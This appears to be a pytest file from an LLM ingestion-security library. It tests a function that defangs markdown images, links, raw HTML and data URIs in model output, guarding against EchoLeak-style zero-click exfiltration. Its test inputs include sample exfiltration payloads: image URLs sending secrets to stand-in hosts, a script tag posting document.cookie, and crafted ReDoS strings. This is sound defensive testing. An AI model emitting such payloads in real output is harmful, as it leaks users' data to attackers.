1
0
Fork 0
llm-ingestion-pipeline-secu.../tests/test_neutralize.py
Kjell Tore Guttormsen 73fa1b99ae fix(sanitize,okf,active_content): three quadratic patterns, two on the input path
The generalised sweep found what 0.3.2's hand-written rows missed. All three are
the documented class -- a run in front of a required literal that never arrives,
so every start position rescans the tail -- and all three are worse than the
0.3.3 findings, because `sanitize`, `neutralize`, `scan_active_content` and the
okf link graph apply NO input cap. `scan_lexicon`/`scan_output` are the only
entry points that do, so there is no ceiling to extrapolate to.

  sanitize._HTML_COMMENT_RE   `<!--`*100_000        20.1s, exponent 1.96-2.14
  active_content.URL_IN_TEXT_RE  `<a `+`A`*100_000  12.99s / 14.9s, exponent ~2.0
  okf._MD_LINK_RE             `[`*100_000            7.1s, exponent 1.99-2.05

Each fix is the one the pattern's own shape allows, not a copied choice:

  - The comment stripper drops the regex for `str.find`. Excluding `<` would lose
    every comment containing markup; bounding the run would be a carrier bypass
    of the exact construct the stripper exists to remove.
  - `URL_IN_TEXT_RE` bounds its scheme run to an RFC 3986 scheme (`{0,63}`).
    Bounding is safe *here* only because it is a defanger inside a tag already
    flagged `active:raw-html`. A lookbehind was measured too and rejected: it
    drops `-http://evil.com`, a one-character evasion. Bounded: 0.185s at 1M.
  - `_MD_LINK_RE` excludes `[`, matching `active_content.MD_LINK_RE` exactly,
    including the nested-label trade already documented there.

`sanitize` claimed "no catastrophic backtracking" in a comment; that claim was
wrong in the same way `output`'s was before 0.3.2, and is corrected in place.

676 tests (+10), coverage 128/128 + 6/6 gaps, sweep clean across 150 patterns.
The okf destination run gets no row: `[^)\s]+` cannot fail, so a row for it
could never go red.
2026-08-01 20:06:36 +02:00

163 lines
6.5 KiB
Python

"""Tests for active-content neutralization (build order step 6).
``neutralize`` is the opt-in, PURE defang helper for model OUTPUT. It closes the
EchoLeak class (CVE-2025-32711): active content in persisted model output that a
downstream renderer auto-fetches (markdown images) or makes clickable, leaking
data zero-click. These carriers are neither injection strings nor high-entropy,
so lexicon + entropy miss them entirely.
Invariants mirror the sanitizer: clean output returns byte-identical with an
empty report; only active-content constructs are ever rewritten. Mutation lives
here, kept separate from the report-only output gate (design principles 3 & 4).
The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals.
"""
import time
from llm_ingestion_guard.neutralize import neutralize
from llm_ingestion_guard.report import Severity, Source
def test_clean_output_is_byte_identical():
text = "A perfectly ordinary wiki paragraph. Costs $5! See section [1] below (really)."
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_default_source_is_output():
# Unlike sanitize/fence (INPUT), this module targets the model's OUTPUT.
result = neutralize("![x](https://evil.example/leak)")
assert result.report.found is True
assert all(f.source is Source.OUTPUT for f in result.report.findings)
def test_markdown_image_is_defanged_high_severity():
# The EchoLeak primitive: an auto-fetched image URL carrying exfiltrated data.
result = neutralize("![logo](https://evil.example/leak?data=SECRET)")
assert "https://evil.example" not in result.text # fetchable URL is gone
assert "hxxps" in result.text
assert "logo" in result.text # alt text preserved for audit
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"]
assert len(img) == 1
assert img[0].severity is Severity.HIGH
assert img[0].detector == "neutralize"
assert img[0].owasp == "LLM05"
def test_defanged_url_is_not_resolvable():
result = neutralize("![x](https://evil.example/x)")
# Scheme neutralized and host dots bracketed -> no renderer will resolve it.
assert "hxxps://evil[.]example" in result.text
def test_secret_exfil_url_no_longer_fetchable():
exfil = "STOLEN-SESSION-DATA"
result = neutralize(f"![ ](http://attacker.test/c?k={exfil})")
# The secret text may remain visible, but never inside a fetchable URL.
assert "http://attacker.test" not in result.text
assert "hxxp://attacker[.]test" in result.text
def test_inline_link_is_defanged_medium():
result = neutralize("click [here](https://evil.example/go) now")
assert "https://evil.example" not in result.text
assert "here" in result.text
link = [f for f in result.report.findings if f.label == "neutralize:markdown-link"]
assert len(link) == 1
assert link[0].severity is Severity.MEDIUM
def test_image_is_not_double_counted_as_link():
result = neutralize("![alt](https://evil.example/x)")
labels = {f.label for f in result.report.findings}
assert "neutralize:markdown-image" in labels
assert "neutralize:markdown-link" not in labels
def test_reference_style_link_definition_is_defanged():
text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
result = neutralize(text)
assert "https://evil.example" not in result.text
assert any(f.label == "neutralize:reference-link" for f in result.report.findings)
def test_angle_bracket_autolink_is_defanged():
result = neutralize("read more <https://evil.example/x> here")
assert "https://evil.example" not in result.text
assert "hxxps://evil[.]example" in result.text
assert any(f.label == "neutralize:autolink" for f in result.report.findings)
def test_raw_active_html_is_escaped():
result = neutralize('<img src="https://evil.example/leak?d=x">')
assert "<img" not in result.text # no longer renders as active content
assert "&lt;img" in result.text
html = [f for f in result.report.findings if f.label == "neutralize:raw-html"]
assert len(html) == 1
assert html[0].severity is Severity.HIGH
def test_benign_formatting_html_is_left_untouched():
text = "This is **bold** and <b>strong</b> and <em>emph</em> text."
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_script_tag_is_neutralized():
result = neutralize("<script>fetch('https://evil.example/'+document.cookie)</script>")
assert "<script>" not in result.text
assert any(f.label == "neutralize:raw-html" for f in result.report.findings)
def test_standalone_data_uri_is_defanged():
result = neutralize("open data:text/html;base64,PHNjcmlwdD4= please")
assert "data:text/html" not in result.text
assert any(f.label == "neutralize:data-uri" for f in result.report.findings)
def test_data_uri_does_not_match_inside_a_word():
# "metadata:" must not be mistaken for a data: URI (FP guard, as in sanitize).
text = "the metadata: field is documented here"
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_multiple_images_are_counted():
result = neutralize("![a](https://x.example/1) ![b](https://y.example/2)")
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"][0]
assert img.count == 2
def test_source_override_is_respected():
result = neutralize("![x](https://evil.example/x)", source=Source.INPUT)
assert all(f.source is Source.INPUT for f in result.report.findings)
def test_prose_with_lone_brackets_and_angles_is_identical():
# FP guards: none of these are active constructs.
text = "if a < b and c > d then see [note] and call f(x)."
result = neutralize(text)
assert result.text == text
assert result.report.found is False
# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------
# Second call site of the same defect pinned in test_active_content.py: the
# defanger runs `URL_IN_TEXT_RE` over each active tag's body. 14.9s at 100_000
# chars, exponent 1.91-2.22. `neutralize` applies no input cap either.
_ATTR_REDOS_N = 100_000
def test_crafted_long_attribute_tag_stays_bounded():
payload = "<a " + "A" * _ATTR_REDOS_N + ">"
start = time.monotonic()
neutralize(payload)
assert time.monotonic() - start < 2.0
def test_url_defanging_inside_a_tag_survives_the_redos_fix():
result = neutralize("<a href=-http://evil.com>x</a>")
assert "hxxp" in result.text
assert "http://evil.com" not in result.text